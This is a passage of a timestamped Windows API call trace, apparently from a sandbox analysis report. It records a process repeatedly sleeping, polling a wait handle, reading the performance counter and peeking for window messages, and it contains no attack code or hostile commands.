| out: lpMsg=0x2df914) returned 0 [0156.506] Sleep (dwMilliseconds=0x64) [0156.521] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.521] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=798469495) returned 1 [0156.521] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=798469650) returned 1 [0156.522] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.522] Sleep (dwMilliseconds=0x64) [0156.536] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.536] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=798520016) returned 1 [0156.536] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=798520180) returned 1 [0156.537] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.537] Sleep (dwMilliseconds=0x64) [0156.555] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.555] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=798584155) returned 1 [0156.555] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=798584318) returned 1 [0156.555] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.556] Sleep (dwMilliseconds=0x64) [0156.567] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.567] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=798626264) returned 1 [0156.567] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=798626444) returned 1 [0156.568] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.568] Sleep (dwMilliseconds=0x64) [0156.583] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.583] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=798679708) returned 1 [0156.583] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=798679929) returned 1 [0156.583] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.584] Sleep (dwMilliseconds=0x64) [0156.598] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.598] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=798732708) returned 1 [0156.598] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=798732874) returned 1 [0156.599] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.599] Sleep (dwMilliseconds=0x64) [0156.614] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.615] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=798788498) returned 1 [0156.615] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=798788651) returned 1 [0156.615] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.616] Sleep (dwMilliseconds=0x64) [0156.629] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.630] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=798839575) returned 1 [0156.630] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=798839756) returned 1 [0156.630] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.631] Sleep (dwMilliseconds=0x64) [0156.659] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.659] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=798940291) returned 1 [0156.659] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=798940661) returned 1 [0156.660] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.660] Sleep (dwMilliseconds=0x64) [0156.677] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.677] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=799000596) returned 1 [0156.677] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=799000741) returned 1 [0156.677] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.678] Sleep (dwMilliseconds=0x64) [0156.692] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.692] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=799052704) returned 1 [0156.692] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=799052848) returned 1 [0156.692] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.693] Sleep (dwMilliseconds=0x64) [0156.707] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.707] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=799106146) returned 1 [0156.708] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=799106324) returned 1 [0156.708] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.709] Sleep (dwMilliseconds=0x64) [0156.724] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.724] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=799161835) returned 1 [0156.724] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=799162003) returned 1 [0156.724] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.725] Sleep (dwMilliseconds=0x64) [0156.739] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.739] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=799215503) returned 1 [0156.740] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=799215667) returned 1 [0156.740] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.741] Sleep (dwMilliseconds=0x64) [0156.754] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.754] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=799266082) returned 1 [0156.754] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=799266249) returned 1 [0156.755] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.755] Sleep (dwMilliseconds=0x64) [0156.770] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.770] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=799319401) returned 1 [0156.770] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=799319581) returned 1 [0156.771] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.771] Sleep (dwMilliseconds=0x64) [0156.785] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.785] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=799372719) returned 1 [0156.786] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=799372885) returned 1 [0156.786] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.787] Sleep (dwMilliseconds=0x64) [0156.801] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.801] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=799426366) returned 1 [0156.801] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=799426534) returned 1 [0156.802] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.802] Sleep (dwMilliseconds=0x64) [0156.817] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.817] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=799479397) returned 1 [0156.817] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=799479571) returned 1 [0156.817] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.818] Sleep (dwMilliseconds=0x64) [0156.833] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.833] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=799534768) returned 1 [0156.833] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=799534942) returned 1 [0156.833] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.834] Sleep (dwMilliseconds=0x64) [0156.848] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.848] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=799585976) returned 1 [0156.848] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=799586143) returned 1 [0156.848] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.849] Sleep (dwMilliseconds=0x64) [0156.864] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.864] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=799639877) returned 1 [0156.864] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=799640056) returned 1 [0156.864] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.865] Sleep (dwMilliseconds=0x64) [0156.879] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.879] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=799692814) returned 1 [0156.879] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=799693069) returned 1 [0156.880] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.880] Sleep (dwMilliseconds=0x64) [0156.895] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.895] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=799745893) returned 1 [0156.895] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=799746060) returned 1 [0156.895] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.896] Sleep (dwMilliseconds=0x64) [0156.923] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.923] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=799843006) returned 1 [0156.923] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=799843168) returned 1 [0156.924] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.925] Sleep (dwMilliseconds=0x64) [0156.926] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.926] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=799852777) returned 1 [0156.926] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=799852928) returned 1 [0156.926] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.927] Sleep (dwMilliseconds=0x64) [0156.942] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.942] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=799907824) returned 1 [0156.942] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=799907968) returned 1 [0156.943] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.943] Sleep (dwMilliseconds=0x64) [0156.957] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.957] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=799959242) returned 1 [0156.957] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=799959460) returned 1 [0156.958] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.958] Sleep (dwMilliseconds=0x64) [0156.973] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.973] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=800012613) returned 1 [0156.973] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=800012756) returned 1 [0156.973] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.974] Sleep (dwMilliseconds=0x64) [0156.988] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.988] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=800065937) returned 1 [0156.988] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=800066081) returned 1 [0156.989] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.989] Sleep (dwMilliseconds=0x64) [0157.004] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.004] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=800119031) returned 1 [0157.004] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=800119176) returned 1 [0157.004] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.005] Sleep (dwMilliseconds=0x64) [0157.020] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.020] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=800172986) returned 1 [0157.020] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=800173130) returned 1 [0157.020] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.021] Sleep (dwMilliseconds=0x64) [0157.035] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.035] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=800226075) returned 1 [0157.035] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=800226350) returned 1 [0157.036] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.036] Sleep (dwMilliseconds=0x64) [0157.051] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.051] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=800281804) returned 1 [0157.052] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=800281982) returned 1 [0157.052] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.053] Sleep (dwMilliseconds=0x64) [0157.066] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.066] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=800332535) returned 1 [0157.066] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=800332709) returned 1 [0157.067] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.067] Sleep (dwMilliseconds=0x64) [0157.082] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.082] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=800387596) returned 1 [0157.082] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=800387761) returned 1 [0157.083] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.084] Sleep (dwMilliseconds=0x64) [0157.097] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.097] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=800439062) returned 1 [0157.098] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=800439227) returned 1 [0157.098] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.099] Sleep (dwMilliseconds=0x64) [0157.114] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.114] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=800494301) returned 1 [0157.114] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=800494465) returned 1 [0157.114] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.115] Sleep (dwMilliseconds=0x64) [0157.129] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.129] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=800545712) returned 1 [0157.129] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=800545880) returned 1 [0157.129] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.130] Sleep (dwMilliseconds=0x64) [0157.144] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.144] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=800599108) returned 1 [0157.144] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=800599275) returned 1 [0157.145] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.145] Sleep (dwMilliseconds=0x64) [0157.160] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.160] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=800654463) returned 1 [0157.161] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=800654629) returned 1 [0157.161] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.162] Sleep (dwMilliseconds=0x64) [0157.176] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.176] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=800706063) returned 1 [0157.176] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=800706246) returned 1 [0157.176] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.177] Sleep (dwMilliseconds=0x64) [0157.191] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.191] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=800759074) returned 1 [0157.191] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=800759252) returned 1 [0157.192] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.192] Sleep (dwMilliseconds=0x64) [0157.207] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.207] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=800812371) returned 1 [0157.207] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=800812549) returned 1 [0157.207] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.208] Sleep (dwMilliseconds=0x64) [0157.222] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.222] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=800865803) returned 1 [0157.222] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=800865983) returned 1 [0157.223] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.224] Sleep (dwMilliseconds=0x64) [0157.238] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.238] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=800919241) returned 1 [0157.238] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=800919410) returned 1 [0157.239] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.239] Sleep (dwMilliseconds=0x64) [0157.253] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.254] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=800972388) returned 1 [0157.254] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=800972542) returned 1 [0157.254] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.255] Sleep (dwMilliseconds=0x64) [0157.271] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.271] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=801031365) returned 1 [0157.271] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=801031511) returned 1 [0157.271] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.272] Sleep (dwMilliseconds=0x64) [0157.285] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.285] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=801079531) returned 1 [0157.285] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=801079710) returned 1 [0157.285] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.286] Sleep (dwMilliseconds=0x64) [0157.300] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.300] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=801132594) returned 1 [0157.300] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=801132773) returned 1 [0157.301] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 